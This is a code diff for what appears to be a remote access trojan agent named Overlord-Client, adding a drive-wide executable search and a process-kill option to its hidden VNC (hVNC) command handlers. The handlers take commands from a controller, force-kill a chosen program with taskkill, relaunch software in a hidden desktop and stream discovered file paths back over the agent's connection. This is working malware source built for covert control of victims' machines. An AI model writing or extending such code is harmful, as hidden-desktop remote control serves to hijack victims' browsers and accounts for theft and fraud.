add file lookup to hvnc

Overlord-Client/cmd/agent/filesearch/lookup.go

@@ -0,0 +1,106 @@
+package filesearch
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+)
+
+var SkipDirs = map[string]bool{
+	"$recycle.bin":              true,
+	"windows":                   true,
+	"system volume information": true,
+}
+
+type ResultFunc func(path string)
+
+func LookupExe(exeName string, workers int, onResult ResultFunc) {
+	if workers <= 0 {
+		workers = 8
+	}
+	lowerExe := strings.ToLower(exeName)
+	roots := driveRoots()
+
+	dirs := make(chan string, 256)
+
+	var inflight sync.WaitGroup
+
+	var wg sync.WaitGroup
+	for i := 0; i < workers; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			for dir := range dirs {
+				walkDir(dir, lowerExe, dirs, &inflight, onResult)
+				inflight.Done()
+			}
+		}()
+	}
+
+	for _, root := range roots {
+		entries, err := os.ReadDir(root)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				if SkipDirs[strings.ToLower(e.Name())] {
+					continue
+				}
+				inflight.Add(1)
+				dirs <- filepath.Join(root, e.Name())
+			} else if strings.ToLower(e.Name()) == lowerExe {
+				onResult(filepath.Join(root, e.Name()))
+			}
+		}
+	}
+
+	go func() {
+		inflight.Wait()
+		close(dirs)
+	}()
+
+	wg.Wait()
+}
+
+func walkDir(root, lowerExe string, dirs chan<- string, inflight *sync.WaitGroup, onResult ResultFunc) {
+	entries, err := os.ReadDir(root)
+	if err != nil {
+		return
+	}
+	for _, e := range entries {
+		full := filepath.Join(root, e.Name())
+		if e.IsDir() {
+			if SkipDirs[strings.ToLower(e.Name())] {
+				continue
+			}
+			inflight.Add(1)
+			select {
+			case dirs <- full:
+			default:
+				inflight.Done()
+				walkDir(full, lowerExe, dirs, inflight, onResult)
+			}
+		} else if strings.ToLower(e.Name()) == lowerExe {
+			onResult(full)
+		}
+	}
+}
+
+func driveRoots() []string {
+	if os.PathSeparator == '\\' {
+		var roots []string
+		for c := 'A'; c <= 'Z'; c++ {
+			root := string(c) + ":\\"
+			if info, err := os.Stat(root); err == nil && info.IsDir() {
+				roots = append(roots, root)
+			}
+		}
+		if len(roots) == 0 {
+			roots = append(roots, "C:\\")
+		}
+		return roots
+	}
+	return []string{"/"}
+}

Overlord-Client/cmd/agent/handlers/command.go

@@ -6,6 +6,7 @@ import (
 	"errors"
 	"log"
 	"os"
+	"os/exec"
 	goruntime "runtime"
 	"strconv"
 	"strings"
@@ -16,6 +17,7 @@ import (
 	"overlord-client/cmd/agent/audio"
 	"overlord-client/cmd/agent/capture"
 	"overlord-client/cmd/agent/console"
+	"overlord-client/cmd/agent/filesearch"
 	"overlord-client/cmd/agent/persistence"
 	"overlord-client/cmd/agent/plugins"
 	"overlord-client/cmd/agent/runtime"
@@ -1284,20 +1286,61 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 	case "hvnc_start_process":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		filePath := ""
+		killExe := ""
 		if payload != nil {
 			if v, ok := payload["path"].(string); ok {
 				filePath = v
 			}
+			if v, ok := payload["kill_exe"].(string); ok {
+				killExe = v
+			}
 		}
-		log.Printf("hvnc: start process %q", filePath)
+		log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_process", nil, func() {
+			if killExe != "" {
+				out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
+				log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
+			}
 			if err := capture.StartHVNCProcess(filePath); err != nil {
 				log.Printf("hvnc: start process failed for %q: %v", filePath, err)
 			}
 		})
 		return nil
 
+	case "hvnc_lookup":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		exeName := ""
+		if payload != nil {
+			if v, ok := payload["exe"].(string); ok {
+				exeName = v
+			}
+		}
+		if exeName == "" {
+			sendCommandResultSafe(env, cmdID, false, "no exe name provided")
+			return nil
+		}
+		log.Printf("hvnc: lookup exe %q", exeName)
+		sendCommandResultSafe(env, cmdID, true, "")
+		goSafe("hvnc_lookup", nil, func() {
+			filesearch.LookupExe(exeName, 8, func(path string) {
+				_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
+					Type: "hvnc_lookup_result",
+					Exe:  exeName,
+					Path: path,
+					Done: false,
+				})
+			})
+			_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
+				Type: "hvnc_lookup_result",
+				Exe:  exeName,
+				Path: "",
+				Done: true,
+			})
+			log.Printf("hvnc: lookup complete for %q", exeName)
+		})
+		return nil
+
 	case "hvnc_start_process_injected":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		filePath := ""

Overlord-Client/cmd/agent/wire/protocol.go

@@ -221,6 +221,13 @@ type HVNCCloneProgress struct {
 	Status      string `msgpack:"status"`
 }
 
+type HVNCLookupResult struct {
+	Type string `msgpack:"type"`
+	Exe  string `msgpack:"exe"`
+	Path string `msgpack:"path"`
+	Done bool   `msgpack:"done"`
+}
+
 type ProxyData struct {
 	Type         string `msgpack:"type"`
 	ConnectionID string `msgpack:"connectionId"`